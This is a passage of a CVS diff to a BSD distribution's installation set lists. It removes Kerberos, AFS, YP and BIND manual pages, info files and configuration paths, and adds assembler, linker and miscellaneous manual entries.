 ./usr/share/man/cat1/ar.0
 ./usr/share/man/cat1/as.0
 ./usr/share/man/cat1/asa.0
-./usr/share/man/cat1/c++.0
 ./usr/share/man/cat1/c++filt.0
-./usr/share/man/cat1/cc.0
 ./usr/share/man/cat1/cccp.0
-./usr/share/man/cat1/f77.0
 ./usr/share/man/cat1/flex.0
 ./usr/share/man/cat1/fpr.0
-./usr/share/man/cat1/g++.0
 ./usr/share/man/cat1/gcc-local.0
 ./usr/share/man/cat1/gcc.0
 ./usr/share/man/cat1/gcov.0
@@ -1765,6 +1666,7 @@
 ./usr/share/man/cat1/lint.0
 ./usr/share/man/cat1/lorder.0
 ./usr/share/man/cat1/mkstr.0
+./usr/share/man/cat1/pgcc.0
 ./usr/share/man/cat1/protoize.0
 ./usr/share/man/cat1/ranlib.0
 ./usr/share/man/cat1/rpcgen.0
@@ -3516,12 +3418,6 @@
 ./usr/share/man/cat3/jn.0
 ./usr/share/man/cat3/jnf.0
 ./usr/share/man/cat3/jrand48.0
-./usr/share/man/cat3/k_afs_cell_of_file.0
-./usr/share/man/cat3/k_hasafs.0
-./usr/share/man/cat3/k_pioctl.0
-./usr/share/man/cat3/k_setpag.0
-./usr/share/man/cat3/k_unlog.0
-./usr/share/man/cat3/kafs.0
 ./usr/share/man/cat3/kerberos.0
 ./usr/share/man/cat3/keybound.0
 ./usr/share/man/cat3/keycrunch.0
@@ -3557,114 +3453,6 @@
 ./usr/share/man/cat3/kn_remove_authorizer.0
 ./usr/share/man/cat3/kn_sign_assertion.0
 ./usr/share/man/cat3/kn_verify_assertion.0
-./usr/share/man/cat3/krb5_425_conv_principal.0
-./usr/share/man/cat3/krb5_425_conv_principal_ext.0
-./usr/share/man/cat3/krb5_524_conv_principal.0
-./usr/share/man/cat3/krb5_addlog_dest.0
-./usr/share/man/cat3/krb5_addlog_func.0
-./usr/share/man/cat3/krb5_appdefault.0
-./usr/share/man/cat3/krb5_appdefault_boolean.0
-./usr/share/man/cat3/krb5_appdefault_string.0
-./usr/share/man/cat3/krb5_appdefault_time.0
-./usr/share/man/cat3/krb5_auth_con_free.0
-./usr/share/man/cat3/krb5_auth_con_genaddrs.0
-./usr/share/man/cat3/krb5_auth_con_getaddrs.0
-./usr/share/man/cat3/krb5_auth_con_getflags.0
-./usr/share/man/cat3/krb5_auth_con_getkey.0
-./usr/share/man/cat3/krb5_auth_con_getlocalsubkey.0
-./usr/share/man/cat3/krb5_auth_con_getrcache.0
-./usr/share/man/cat3/krb5_auth_con_getremotesubkey.0
-./usr/share/man/cat3/krb5_auth_con_getuserkey.0
-./usr/share/man/cat3/krb5_auth_con_init.0
-./usr/share/man/cat3/krb5_auth_con_initivector.0
-./usr/share/man/cat3/krb5_auth_con_setaddrs.0
-./usr/share/man/cat3/krb5_auth_con_setaddrs_from_fd.0
-./usr/share/man/cat3/krb5_auth_con_setflags.0
-./usr/share/man/cat3/krb5_auth_con_setivector.0
-./usr/share/man/cat3/krb5_auth_con_setkey.0
-./usr/share/man/cat3/krb5_auth_con_setlocalsubkey.0
-./usr/share/man/cat3/krb5_auth_con_setrcache.0
-./usr/share/man/cat3/krb5_auth_con_setremotesubkey.0
-./usr/share/man/cat3/krb5_auth_con_setuserkey.0
-./usr/share/man/cat3/krb5_auth_context.0
-./usr/share/man/cat3/krb5_auth_getauthenticator.0
-./usr/share/man/cat3/krb5_auth_getcksumtype.0
-./usr/share/man/cat3/krb5_auth_getkeytype.0
-./usr/share/man/cat3/krb5_auth_getlocalseqnumber.0
-./usr/share/man/cat3/krb5_auth_getremoteseqnumber.0
-./usr/share/man/cat3/krb5_auth_setcksumtype.0
-./usr/share/man/cat3/krb5_auth_setkeytype.0
-./usr/share/man/cat3/krb5_auth_setlocalseqnumber.0
-./usr/share/man/cat3/krb5_auth_setremoteseqnumber.0
-./usr/share/man/cat3/krb5_build_principal.0
-./usr/share/man/cat3/krb5_build_principal_ext.0
-./usr/share/man/cat3/krb5_build_principal_va.0
-./usr/share/man/cat3/krb5_build_principal_va_ext.0
-./usr/share/man/cat3/krb5_checksum_is_collision_proof.0
-./usr/share/man/cat3/krb5_checksum_is_keyed.0
-./usr/share/man/cat3/krb5_checksumsize.0
-./usr/share/man/cat3/krb5_closelog.0
-./usr/share/man/cat3/krb5_config.0
-./usr/share/man/cat3/krb5_config_get_bool_default.0
-./usr/share/man/cat3/krb5_config_get_int_default.0
-./usr/share/man/cat3/krb5_config_get_string_default.0
-./usr/share/man/cat3/krb5_config_get_time_default.0
-./usr/share/man/cat3/krb5_context.0
-./usr/share/man/cat3/krb5_create_checksum.0
-./usr/share/man/cat3/krb5_crypto_destroy.0
-./usr/share/man/cat3/krb5_crypto_init.0
-./usr/share/man/cat3/krb5_decrypt.0
-./usr/share/man/cat3/krb5_decrypt_EncryptedData.0
-./usr/share/man/cat3/krb5_encrypt.0
-./usr/share/man/cat3/krb5_encrypt_EncryptedData.0
-./usr/share/man/cat3/krb5_err.0
-./usr/share/man/cat3/krb5_errx.0
-./usr/share/man/cat3/krb5_free_context.0
-./usr/share/man/cat3/krb5_free_principal.0
-./usr/share/man/cat3/krb5_init_context.0
-./usr/share/man/cat3/krb5_initlog.0
-./usr/share/man/cat3/krb5_keytab.0
-./usr/share/man/cat3/krb5_keytab_entry.0
-./usr/share/man/cat3/krb5_kt_add_entry.0
-./usr/share/man/cat3/krb5_kt_close.0
-./usr/share/man/cat3/krb5_kt_compare.0
-./usr/share/man/cat3/krb5_kt_copy_entry_contents.0
-./usr/share/man/cat3/krb5_kt_cursor.0
-./usr/share/man/cat3/krb5_kt_default.0
-./usr/share/man/cat3/krb5_kt_default_name.0
-./usr/share/man/cat3/krb5_kt_end_seq_get.0
-./usr/share/man/cat3/krb5_kt_free_entry.0
-./usr/share/man/cat3/krb5_kt_get_entry.0
-./usr/share/man/cat3/krb5_kt_get_name.0
-./usr/share/man/cat3/krb5_kt_next_entry.0
-./usr/share/man/cat3/krb5_kt_ops.0
-./usr/share/man/cat3/krb5_kt_read_service_key.0
-./usr/share/man/cat3/krb5_kt_register.0
-./usr/share/man/cat3/krb5_kt_remove_entry.0
-./usr/share/man/cat3/krb5_kt_resolve.0
-./usr/share/man/cat3/krb5_kt_start_seq_get.0
-./usr/share/man/cat3/krb5_log.0
-./usr/share/man/cat3/krb5_log_msg.0
-./usr/share/man/cat3/krb5_make_principal.0
-./usr/share/man/cat3/krb5_openlog.0
-./usr/share/man/cat3/krb5_parse_name.0
-./usr/share/man/cat3/krb5_set_warn_dest.0
-./usr/share/man/cat3/krb5_sname_to_principal.0
-./usr/share/man/cat3/krb5_sock_to_principal.0
-./usr/share/man/cat3/krb5_unparse_name.0
-./usr/share/man/cat3/krb5_verify_checksum.0
-./usr/share/man/cat3/krb5_verify_user.0
-./usr/share/man/cat3/krb5_verify_user_lrealm.0
-./usr/share/man/cat3/krb5_verr.0
-./usr/share/man/cat3/krb5_verrx.0
-./usr/share/man/cat3/krb5_vlog.0
-./usr/share/man/cat3/krb5_vlog_msg.0
-./usr/share/man/cat3/krb5_vwarn.0
-./usr/share/man/cat3/krb5_vwarnx.0
-./usr/share/man/cat3/krb5_warn.0
-./usr/share/man/cat3/krb5_warnx.0
-./usr/share/man/cat3/krb_afslog.0
-./usr/share/man/cat3/krb_afslog_uid.0
 ./usr/share/man/cat3/krb_ck_repl.0
 ./usr/share/man/cat3/krb_get_admhst.0
 ./usr/share/man/cat3/krb_get_cred.0
@@ -4711,18 +4499,6 @@
 ./usr/share/man/cat3/y1f.0
 ./usr/share/man/cat3/yn.0
 ./usr/share/man/cat3/ynf.0
-./usr/share/man/cat3/yp_all.0
-./usr/share/man/cat3/yp_bind.0
-./usr/share/man/cat3/yp_first.0
-./usr/share/man/cat3/yp_get_default_domain.0
-./usr/share/man/cat3/yp_master.0
-./usr/share/man/cat3/yp_match.0
-./usr/share/man/cat3/yp_next.0
-./usr/share/man/cat3/yp_order.0
-./usr/share/man/cat3/yp_unbind.0
-./usr/share/man/cat3/ypclnt.0
-./usr/share/man/cat3/yperr_string.0
-./usr/share/man/cat3/ypprot_err.0
 ./usr/share/man/cat9/FREE.0
 ./usr/share/man/cat9/FREF.0
 ./usr/share/man/cat9/FRELE.0
Index: src/distrib/sets/lists/etc/mi
===================================================================
RCS file: /cvs/src/distrib/sets/lists/etc/mi,v
retrieving revision 1.71
diff -u -r1.71 mi
--- src/distrib/sets/lists/etc/mi	28 Feb 2003 21:27:56 -0000	1.71
+++ src/distrib/sets/lists/etc/mi	4 Mar 2003 16:52:40 -0000
@@ -1,10 +1,5 @@
 ./.cshrc
 ./.profile
-./etc/afs/CellServDB
-./etc/afs/README
-./etc/afs/SuidCells
-./etc/afs/ThisCell
-./etc/afs/afsd.conf
 ./etc/amd/master.sample
 ./etc/authpf
 ./etc/bootptab
@@ -29,14 +24,6 @@
 ./etc/hosts.equiv
 ./etc/hosts.lpd
 ./etc/inetd.conf
-./etc/kerberosIV/README
-./etc/kerberosIV/krb.conf
-./etc/kerberosIV/krb.equiv
-./etc/kerberosIV/krb.extra
-./etc/kerberosIV/krb.realms
-./etc/kerberosV
-./etc/kerberosV/README
-./etc/kerberosV/krb5.conf.example
 ./etc/ksh.kshrc
 ./etc/localtime
 ./etc/locate.rc
@@ -53,6 +40,7 @@
 ./etc/mailer.conf
 ./etc/man.conf
 ./etc/master.passwd
+./etc/mk.conf
 ./etc/moduli
 ./etc/monthly
 ./etc/motd
@@ -80,6 +68,7 @@
 ./etc/ppp/ppp.linkup.sample
 ./etc/ppp/ppp.secret.sample
 ./etc/printcap
+./etc/profile
 ./etc/protocols
 ./etc/pwd.db
 ./etc/rbootd.conf
@@ -99,6 +88,7 @@
 ./etc/skel/.mailrc
 ./etc/skel/.profile
 ./etc/skel/.rhosts
+./etc/skel/.ssh.known_hosts
 ./etc/sliphome/slip.hosts
 ./etc/sliphome/slip.login
 ./etc/spwd.db
@@ -111,7 +101,6 @@
 ./etc/sysctl.conf
 ./etc/syslog.conf
 ./etc/systrace/usr_sbin_lpd
-./etc/systrace/usr_sbin_named
 ./etc/ttys
 ./etc/weekly
 ./root/.cshrc
@@ -126,31 +115,11 @@
 ./var/db/locate.database
 ./var/games/rogue.scores
 ./var/games/tetris.scores
-./var/log/authlog
-./var/log/daemon
-./var/log/failedlogin
-./var/log/ftpd
-./var/log/lastlog
-./var/log/lpd-errs
-./var/log/maillog
 ./var/log/messages
-./var/log/secure
 ./var/log/sendmail.st
 ./var/log/wtmp
-./var/log/xferlog
 ./var/mail/root
 ./var/msgs/bounds
-./var/named/etc/named-dual.conf
-./var/named/etc/named-simple.conf
-./var/named/etc/named.conf
-./var/named/master
-./var/named/slave
-./var/named/standard
-./var/named/standard/localhost
-./var/named/standard/loopback
-./var/named/standard/loopback6.arpa
-./var/named/standard/loopback6.int
-./var/named/standard/root.hint
 ./var/run/utmp
 ./var/www/cgi-bin/printenv
 ./var/www/cgi-bin/test-cgi
Index: src/distrib/sets/lists/man/md.i386
===================================================================
RCS file: /cvs/src/distrib/sets/lists/man/md.i386,v
retrieving revision 1.29
diff -u -r1.29 md.i386
--- src/distrib/sets/lists/man/md.i386	25 May 2000 21:56:28 -0000	1.29
+++ src/distrib/sets/lists/man/md.i386	4 Mar 2003 16:52:40 -0000
@@ -1,5 +1,2 @@
-./usr/share/man/cat1/ld.so.0
 ./usr/share/man/cat1/ldd.0
-./usr/share/man/cat5/ar.0
-./usr/share/man/cat5/ranlib.0
 ./usr/share/man/cat8/ldconfig.0
Index: src/distrib/sets/lists/man/mi
===================================================================
RCS file: /cvs/src/distrib/sets/lists/man/mi,v
retrieving revision 1.432
diff -u -r1.432 mi
--- src/distrib/sets/lists/man/mi	7 Mar 2003 01:18:24 -0000	1.432
+++ src/distrib/sets/lists/man/mi	7 Mar 2003 16:30:27 -0000
@@ -5,6 +5,16 @@
 ./usr/share/info/amdref.info-1
 ./usr/share/info/amdref.info-2
 ./usr/share/info/amdref.info-3
+./usr/share/info/as.info
+./usr/share/info/as.info-1
+./usr/share/info/as.info-2
+./usr/share/info/as.info-3
+./usr/share/info/as.info-4
+./usr/share/info/as.info-5
+./usr/share/info/as.info-6
+./usr/share/info/as.info-7
+./usr/share/info/as.info-8
+./usr/share/info/as.info-9
 ./usr/share/info/bfd.info
 ./usr/share/info/bfd.info-1
 ./usr/share/info/bfd.info-2
@@ -13,10 +23,10 @@
 ./usr/share/info/bfd.info-5
 ./usr/share/info/bfd.info-6
 ./usr/share/info/bfd.info-7
-./usr/share/info/cpp.info
-./usr/share/info/cpp.info-1
-./usr/share/info/cpp.info-2
-./usr/share/info/cpp.info-3
+./usr/share/info/binutils.info
+./usr/share/info/binutils.info-1
+./usr/share/info/binutils.info-2
+./usr/share/info/binutils.info-3
 ./usr/share/info/cvs.info
 ./usr/share/info/cvs.info-1
 ./usr/share/info/cvs.info-2
@@ -33,59 +43,7 @@
 ./usr/share/info/cvsclient.info-3
 ./usr/share/info/dc.info
 ./usr/share/info/dir
-./usr/share/info/g77.info
-./usr/share/info/g77.info-1
-./usr/share/info/g77.info-10
-./usr/share/info/g77.info-11
-./usr/share/info/g77.info-12
-./usr/share/info/g77.info-13
-./usr/share/info/g77.info-14
-./usr/share/info/g77.info-15
-./usr/share/info/g77.info-16
-./usr/share/info/g77.info-17
-./usr/share/info/g77.info-18
-./usr/share/info/g77.info-19
-./usr/share/info/g77.info-2
-./usr/share/info/g77.info-20
-./usr/share/info/g77.info-21
-./usr/share/info/g77.info-3
-./usr/share/info/g77.info-4
-./usr/share/info/g77.info-5
-./usr/share/info/g77.info-6
-./usr/share/info/g77.info-7
-./usr/share/info/g77.info-8
-./usr/share/info/g77.info-9
-./usr/share/info/gcc.info
-./usr/share/info/gcc.info-1
-./usr/share/info/gcc.info-10
-./usr/share/info/gcc.info-11
-./usr/share/info/gcc.info-12
-./usr/share/info/gcc.info-13
-./usr/share/info/gcc.info-14
-./usr/share/info/gcc.info-15
-./usr/share/info/gcc.info-16
-./usr/share/info/gcc.info-17
-./usr/share/info/gcc.info-18
-./usr/share/info/gcc.info-19
-./usr/share/info/gcc.info-2
-./usr/share/info/gcc.info-20
-./usr/share/info/gcc.info-21
-./usr/share/info/gcc.info-22
-./usr/share/info/gcc.info-23
-./usr/share/info/gcc.info-24
-./usr/share/info/gcc.info-25
-./usr/share/info/gcc.info-26
-./usr/share/info/gcc.info-27
-./usr/share/info/gcc.info-28
-./usr/share/info/gcc.info-29
-./usr/share/info/gcc.info-3
-./usr/share/info/gcc.info-30
-./usr/share/info/gcc.info-4
-./usr/share/info/gcc.info-5
-./usr/share/info/gcc.info-6
-./usr/share/info/gcc.info-7
-./usr/share/info/gcc.info-8
-./usr/share/info/gcc.info-9
+./usr/share/info/gasp.info
 ./usr/share/info/gdb.info
 ./usr/share/info/gdb.info-1
 ./usr/share/info/gdb.info-2
@@ -100,14 +58,19 @@
 ./usr/share/info/gdbint.info-1
 ./usr/share/info/gdbint.info-2
 ./usr/share/info/gzip.info
-./usr/share/info/heimdal.info
 ./usr/share/info/history.info
 ./usr/share/info/info-stnd.info
 ./usr/share/info/info-stnd.info-1
 ./usr/share/info/info-stnd.info-2
 ./usr/share/info/info-stnd.info-3
 ./usr/share/info/info.info
-./usr/share/info/kth-krb.info
+./usr/share/info/ld.info
+./usr/share/info/ld.info-1
+./usr/share/info/ld.info-2
+./usr/share/info/ld.info-3
+./usr/share/info/ld.info-4
+./usr/share/info/ld.info-5
+./usr/share/info/ld.info-6
 ./usr/share/info/mmalloc.info
 ./usr/share/info/readline.info
 ./usr/share/info/rluserman.info
@@ -135,7 +98,6 @@
 ./usr/share/man/cat1/a2p.0
 ./usr/share/man/cat1/addftinfo.0
 ./usr/share/man/cat1/afmtodit.0
-./usr/share/man/cat1/afslog.0
 ./usr/share/man/cat1/alias.0
 ./usr/share/man/cat1/alpha
 ./usr/share/man/cat1/apply.0
@@ -154,6 +116,7 @@
 ./usr/share/man/cat1/bdes.0
 ./usr/share/man/cat1/bg.0
 ./usr/share/man/cat1/biff.0
+./usr/share/man/cat1/brainfuck.0
 ./usr/share/man/cat1/c2ph.0
 ./usr/share/man/cat1/cal.0
 ./usr/share/man/cat1/calendar.0
@@ -186,6 +149,8 @@
 ./usr/share/man/cat1/cpio.0
 ./usr/share/man/cat1/cpp.0
 ./usr/share/man/cat1/crontab.0
+./usr/share/man/cat1/crunchgen.0
+./usr/share/man/cat1/crunchide.0
 ./usr/share/man/cat1/csh.0
 ./usr/share/man/cat1/ctags.0
 ./usr/share/man/cat1/cu.0
@@ -197,9 +162,9 @@
 ./usr/share/man/cat1/dd.0
 ./usr/share/man/cat1/deroff.0
 ./usr/share/man/cat1/df.0
+./usr/share/man/cat1/dict.0
 ./usr/share/man/cat1/diff.0
 ./usr/share/man/cat1/diff3.0
-./usr/share/man/cat1/dig.0
 ./usr/share/man/cat1/dirname.0
 ./usr/share/man/cat1/dirs.0
 ./usr/share/man/cat1/domainname.0
@@ -232,11 +197,9 @@
 ./usr/share/man/cat1/fold.0
 ./usr/share/man/cat1/foreach.0
 ./usr/share/man/cat1/from.0
-./usr/share/man/cat1/fs.0
 ./usr/share/man/cat1/fsplit.0
 ./usr/share/man/cat1/fstat.0
 ./usr/share/man/cat1/ftp.0
-./usr/share/man/cat1/g77.0
 ./usr/share/man/cat1/gencat.0
 ./usr/share/man/cat1/getconf.0
 ./usr/share/man/cat1/getopt.0
@@ -287,14 +250,9 @@
 ./usr/share/man/cat1/jobs.0
 ./usr/share/man/cat1/join.0
 ./usr/share/man/cat1/jot.0
-./usr/share/man/cat1/kauth.0
-./usr/share/man/cat1/kdestroy.0
 ./usr/share/man/cat1/kdump.0
-./usr/share/man/cat1/kerberos.0
 ./usr/share/man/cat1/keynote.0
 ./usr/share/man/cat1/kill.0
-./usr/share/man/cat1/kinit.0
-./usr/share/man/cat1/klist.0
 ./usr/share/man/cat1/ksh.0
 ./usr/share/man/cat1/ktrace.0
 ./usr/share/man/cat1/lam.0
@@ -365,13 +323,13 @@
 ./usr/share/man/cat1/oldrdist.0
 ./usr/share/man/cat1/olf2elf.0
 ./usr/share/man/cat1/openssl.0
+./usr/share/man/cat1/openssltool.0
 ./usr/share/man/cat1/otp-md4.0
 ./usr/share/man/cat1/otp-md5.0
 ./usr/share/man/cat1/otp-rmd160.0
 ./usr/share/man/cat1/otp-sha1.0
 ./usr/share/man/cat1/page.0
 ./usr/share/man/cat1/pagesize.0
-./usr/share/man/cat1/pagsh.0
 ./usr/share/man/cat1/passwd.0
 ./usr/share/man/cat1/paste.0
 ./usr/share/man/cat1/patch.0
@@ -487,7 +445,6 @@
 ./usr/share/man/cat1/psbb.0
 ./usr/share/man/cat1/psed.0
 ./usr/share/man/cat1/pstruct.0
-./usr/share/man/cat1/pts.0
 ./usr/share/man/cat1/purgestat.0
 ./usr/share/man/cat1/pushd.0
 ./usr/share/man/cat1/pwd.0
@@ -622,13 +579,11 @@
 ./usr/share/man/cat1/whois.0
 ./usr/share/man/cat1/window.0
 ./usr/share/man/cat1/write.0
+./usr/share/man/cat1/wtf.0
 ./usr/share/man/cat1/x99token.0
 ./usr/share/man/cat1/xargs.0
 ./usr/share/man/cat1/xsubpp.0
 ./usr/share/man/cat1/yes.0
-./usr/share/man/cat1/ypcat.0
-./usr/share/man/cat1/ypmatch.0
-./usr/share/man/cat1/ypwhich.0
 ./usr/share/man/cat1/yyfix.0
 ./usr/share/man/cat1/zcat.0
 ./usr/share/man/cat1/zcmp.0
@@ -1478,13 +1433,8 @@
 ./usr/share/man/cat4/zero.0
 ./usr/share/man/cat5
 ./usr/share/man/cat5/.rhosts.0
-./usr/share/man/cat5/CellServDB.0
-./usr/share/man/cat5/DynRootDB.0
-./usr/share/man/cat5/SuidCells.0
-./usr/share/man/cat5/ThisCell.0
 ./usr/share/man/cat5/a.out.0
 ./usr/share/man/cat5/acct.0
-./usr/share/man/cat5/afsd.conf.0
 ./usr/share/man/cat5/aliases.0
 ./usr/share/man/cat5/alpha
 ./usr/share/man/cat5/bootparams.0
@@ -1539,7 +1489,6 @@
 ./usr/share/man/cat5/krb.equiv.0
 ./usr/share/man/cat5/krb.extra.0
 ./usr/share/man/cat5/krb.realms.0
-./usr/share/man/cat5/krb5.conf.0
 ./usr/share/man/cat5/lastlog.0
 ./usr/share/man/cat5/link.0
 ./usr/share/man/cat5/login.conf.0
@@ -1557,7 +1506,6 @@
 ./usr/share/man/cat5/mvme88k
 ./usr/share/man/cat5/mvmeppc
 ./usr/share/man/cat5/netgroup.0
-./usr/share/man/cat5/netid.0
 ./usr/share/man/cat5/networks.0
 ./usr/share/man/cat5/newsyslog.conf.0
 ./usr/share/man/cat5/passwd.0
@@ -1571,10 +1519,8 @@
 ./usr/share/man/cat5/remote.0
 ./usr/share/man/cat5/resolv.conf.0
 ./usr/share/man/cat5/resolver.0
-./usr/share/man/cat5/rndc.conf.0
 ./usr/share/man/cat5/rpc.0
 ./usr/share/man/cat5/rtadvd.conf.0
-./usr/share/man/cat5/securenet.0
 ./usr/share/man/cat5/services.0
 ./usr/share/man/cat5/shells.0
 ./usr/share/man/cat5/skey.0
@@ -1599,7 +1545,6 @@
 ./usr/share/man/cat5/vgrindefs.0
 ./usr/share/man/cat5/wsconsctl.conf.0
 ./usr/share/man/cat5/wtmp.0
-./usr/share/man/cat5/ypserv.acl.0
 ./usr/share/man/cat6
 ./usr/share/man/cat6/bs.0
 ./usr/share/man/cat6/cfscores.0
@@ -1645,7 +1590,6 @@
 ./usr/share/man/cat8/accton.0
 ./usr/share/man/cat8/activadm.0
 ./usr/share/man/cat8/activinit.0
-./usr/share/man/cat8/afsd.0
 ./usr/share/man/cat8/alpha
 ./usr/share/man/cat8/alpha/MAKEDEV.0
 ./usr/share/man/cat8/alpha/boot_alpha.0
@@ -1672,7 +1616,6 @@
 ./usr/share/man/cat8/bootpef.0
 ./usr/share/man/cat8/bootpgw.0
 ./usr/share/man/cat8/bootptest.0
-./usr/share/man/cat8/bos.0
 ./usr/share/man/cat8/brconfig.0
 ./usr/share/man/cat8/ccdconfig.0
 ./usr/share/man/cat8/certpatch.0
@@ -1709,7 +1652,6 @@
 ./usr/share/man/cat8/dumpfs.0
 ./usr/share/man/cat8/editmap.0
 ./usr/share/man/cat8/edquota.0
-./usr/share/man/cat8/ext_srvtab.0
 ./usr/share/man/cat8/extattrctl.0
 ./usr/share/man/cat8/faithd.0
 ./usr/share/man/cat8/faq.0
@@ -1747,8 +1689,6 @@
 ./usr/share/man/cat8/hppa/wsconscfg.0
 ./usr/share/man/cat8/hppa/wsconsctl.0
 ./usr/share/man/cat8/hppa/wsfontload.0
-./usr/share/man/cat8/hprop.0
-./usr/share/man/cat8/hpropd.0
 ./usr/share/man/cat8/httpd.0
 ./usr/share/man/cat8/i386
 ./usr/share/man/cat8/i386/MAKEDEV.0
@@ -1777,32 +1717,13 @@
 ./usr/share/man/cat8/iostat.0
 ./usr/share/man/cat8/ipsecadm.0
 ./usr/share/man/cat8/isakmpd.0
-./usr/share/man/cat8/kadmin.0
-./usr/share/man/cat8/kadmind.0
-./usr/share/man/cat8/kauthd.0
-./usr/share/man/cat8/kdb_destroy.0
-./usr/share/man/cat8/kdb_edit.0
-./usr/share/man/cat8/kdb_init.0
-./usr/share/man/cat8/kdb_util.0
-./usr/share/man/cat8/kdc.0
-./usr/share/man/cat8/kerberos.0
 ./usr/share/man/cat8/kgmon.0
-./usr/share/man/cat8/kpasswdd.0
-./usr/share/man/cat8/kprop.0
-./usr/share/man/cat8/kpropd.0
-./usr/share/man/cat8/ksrvutil.0
-./usr/share/man/cat8/kstash.0
-./usr/share/man/cat8/ktutil.0
 ./usr/share/man/cat8/kvm_mkdb.0
 ./usr/share/man/cat8/lmccontrol.0
 ./usr/share/man/cat8/locate.updatedb.0
 ./usr/share/man/cat8/login_activ.0
 ./usr/share/man/cat8/login_chpass.0
 ./usr/share/man/cat8/login_crypto.0
-./usr/share/man/cat8/login_krb4-or-pwd.0
-./usr/share/man/cat8/login_krb4.0
-./usr/share/man/cat8/login_krb5-or-pwd.0
-./usr/share/man/cat8/login_krb5.0
 ./usr/share/man/cat8/login_lchpass.0
 ./usr/share/man/cat8/login_passwd.0
 ./usr/share/man/cat8/login_radius.0
@@ -1832,15 +1753,12 @@
 ./usr/share/man/cat8/mailq.0
 ./usr/share/man/cat8/mailstats.0
 ./usr/share/man/cat8/mailwrapper.0
-./usr/share/man/cat8/makedbm.0
 ./usr/share/man/cat8/makekey.0
 ./usr/share/man/cat8/makemap.0
 ./usr/share/man/cat8/makewhatis.0
 ./usr/share/man/cat8/map-mbone.0
 ./usr/share/man/cat8/mfs.0
-./usr/share/man/cat8/mkalias.0
 ./usr/share/man/cat8/mkhybrid.0
-./usr/share/man/cat8/mknetid.0
 ./usr/share/man/cat8/mknod.0
 ./usr/share/man/cat8/modload.0
 ./usr/share/man/cat8/modstat.0
@@ -1872,9 +1790,6 @@
 ./usr/share/man/cat8/mvme68k/installboot.0
 ./usr/share/man/cat8/mvme88k
 ./usr/share/man/cat8/mvmeppc
-./usr/share/man/cat8/named-checkconf.0
-./usr/share/man/cat8/named-checkzone.0
-./usr/share/man/cat8/named.0
 ./usr/share/man/cat8/ncheck.0
 ./usr/share/man/cat8/ncheck_ffs.0
 ./usr/share/man/cat8/ndp.0
@@ -1887,7 +1802,6 @@
 ./usr/share/man/cat8/nfsd.0
 ./usr/share/man/cat8/nologin.0
 ./usr/share/man/cat8/nslookup.0
-./usr/share/man/cat8/nsupdate.0
 ./usr/share/man/cat8/ntalkd.0
 ./usr/share/man/cat8/pac.0
 ./usr/share/man/cat8/pcnfsd.0
@@ -1925,14 +1839,11 @@
 ./usr/share/man/cat8/renice.0
 ./usr/share/man/cat8/repquota.0
 ./usr/share/man/cat8/restore.0
-./usr/share/man/cat8/revnetgroup.0
 ./usr/share/man/cat8/rip6query.0
 ./usr/share/man/cat8/rmail.0
 ./usr/share/man/cat8/rmgroup.0
 ./usr/share/man/cat8/rmt.0
 ./usr/share/man/cat8/rmuser.0
-./usr/share/man/cat8/rndc-confgen.0
-./usr/share/man/cat8/rndc.0
 ./usr/share/man/cat8/rotatelogs.0
 ./usr/share/man/cat8/route.0
 ./usr/share/man/cat8/route6d.0
@@ -1945,7 +1856,6 @@
 ./usr/share/man/cat8/rpc.rusersd.0
 ./usr/share/man/cat8/rpc.rwalld.0
 ./usr/share/man/cat8/rpc.sprayd.0
-./usr/share/man/cat8/rpc.yppasswdd.0
 ./usr/share/man/cat8/rpcinfo.0
 ./usr/share/man/cat8/rquotad.0
 ./usr/share/man/cat8/rrestore.0
@@ -2002,10 +1912,7 @@
 ./usr/share/man/cat8/sshd.0
 ./usr/share/man/cat8/ssl.0
 ./usr/share/man/cat8/starttls.0
-./usr/share/man/cat8/stdethers.0
-./usr/share/man/cat8/stdhosts.0
 ./usr/share/man/cat8/sticky.0
-./usr/share/man/cat8/string2key.0
 ./usr/share/man/cat8/sudo.0
 ./usr/share/man/cat8/suexec.0
 ./usr/share/man/cat8/supfilesrv.0
@@ -2042,27 +1949,13 @@
 ./usr/share/man/cat8/vax/boot_vax.0
 ./usr/share/man/cat8/vax/format.0
 ./usr/share/man/cat8/vax/kbd.0
-./usr/share/man/cat8/verify_krb5_conf.0
 ./usr/share/man/cat8/vipw.0
 ./usr/share/man/cat8/visudo.0
 ./usr/share/man/cat8/vmstat.0
 ./usr/share/man/cat8/vnconfig.0
-./usr/share/man/cat8/vos.0
 ./usr/share/man/cat8/vpn.0
 ./usr/share/man/cat8/wicontrol.0
 ./usr/share/man/cat8/yp.0
-./usr/share/man/cat8/ypbind.0
-./usr/share/man/cat8/ypinit.0
-./usr/share/man/cat8/yppasswdd.0
-./usr/share/man/cat8/yppoll.0
-./usr/share/man/cat8/yppush.0
-./usr/share/man/cat8/ypserv.0
-./usr/share/man/cat8/ypset.0
-./usr/share/man/cat8/yptest.0
-./usr/share/man/cat8/ypxfr.0
-./usr/share/man/cat8/ypxfr_1perday.0
-./usr/share/man/cat8/ypxfr_1perhour.0
-./usr/share/man/cat8/ypxfr_2perday.0
 ./usr/share/man/cat8/zdump.0
 ./usr/share/man/cat8/zic.0
 ./usr/share/man/cat9
Index: src/distrib/sets/lists/misc/mi
===================================================================
RCS file: /cvs/src/distrib/sets/lists/misc/mi,v
retrieving revision 1.9
diff -u -r1.9 mi
--- src/distrib/sets/lists/misc/mi	28 Feb 2003 21:27:56 -0000	1.9
+++ src/distrib/sets/lists/misc/mi	4 Mar 2003 16:52:40 -0000
@@ -4,16 +4,6 @@
 ./usr/share/dict/web2
 ./usr/share/dict/web2a
 ./usr/share/dict/words
-./usr/share/doc/html/bind/Bv9ARM.ch01.html
-./usr/share/doc/html/bind/Bv9ARM.ch02.html
-./usr/share/doc/html/bind/Bv9ARM.ch03.html
-./usr/share/doc/html/bind/Bv9ARM.ch04.html
-./usr/share/doc/html/bind/Bv9ARM.ch05.html
-./usr/share/doc/html/bind/Bv9ARM.ch06.html
-./usr/share/doc/html/bind/Bv9ARM.ch07.html
-./usr/share/doc/html/bind/Bv9ARM.ch08.html
-./usr/share/doc/html/bind/Bv9ARM.ch09.html
-./usr/share/doc/html/bind/Bv9ARM.html
 ./usr/share/doc/html/curses/hackguide.html
 ./usr/share/doc/html/curses/ncurses-intro.html
 ./usr/share/doc/html/lynx_help
Index: src/etc/inetd.conf
===================================================================
RCS file: /cvs/src/etc/inetd.conf,v
retrieving revision 1.50
diff -u -r1.50 inetd.conf
--- src/etc/inetd.conf	2 Aug 2002 23:27:11 -0000	1.50
+++ src/etc/inetd.conf	4 Mar 2003 16:52:40 -0000
@@ -22,6 +22,7 @@
